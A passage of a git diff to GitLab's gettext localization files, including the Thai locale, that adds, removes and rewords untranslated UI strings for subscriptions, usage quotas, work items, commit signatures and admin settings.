-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/th_TH/gitlab.po b/locale/th_TH/gitlab.po
index 5f61f80b932..b5b4675fdae 100644
--- a/locale/th_TH/gitlab.po
+++ b/locale/th_TH/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: th\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -659,6 +659,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -731,6 +734,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -861,6 +867,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -877,6 +889,10 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1010,10 +1023,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1409,7 +1418,7 @@ msgid_plural "%d roles"
msgstr[0] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgid "1 week remaining"
@@ -1633,6 +1642,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1777,9 +1789,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1828,9 +1837,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -1990,7 +1996,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2068,6 +2074,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2446,15 +2455,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2536,9 +2548,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3202,6 +3238,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
